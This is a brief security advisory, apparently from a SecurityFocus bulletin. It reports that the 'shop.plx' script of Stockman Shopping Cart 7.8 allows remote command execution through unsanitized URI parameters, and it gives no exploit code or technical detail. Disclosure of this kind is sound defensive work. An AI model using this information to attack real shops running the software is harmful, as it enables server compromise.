Stockman Shopping Cart 7.8 Arbitrary Command Execution Vulnerability

                                                source: http://www.securityfocus.com/bid/7485/info

Stockman Shopping Cart has been reported prone to a remote command execution vulnerability. This issue presents itself in the 'shop.plx' script.

The problem results from a lack of sufficient sanitization performed on user supplied URI parameters to the 'shop.plx' script. An attacker may exploit this vulnerability to execute arbitrary commands in the context of the web server hosting the vulnerable script.

It should be noted that although this vulnerability has been reported to affect Stockman Shopping Cart Version 7.8 other versions might also be affected.

The precise technical details of this vulnerability are currently unknown. This BID will be updated, as further information is available.
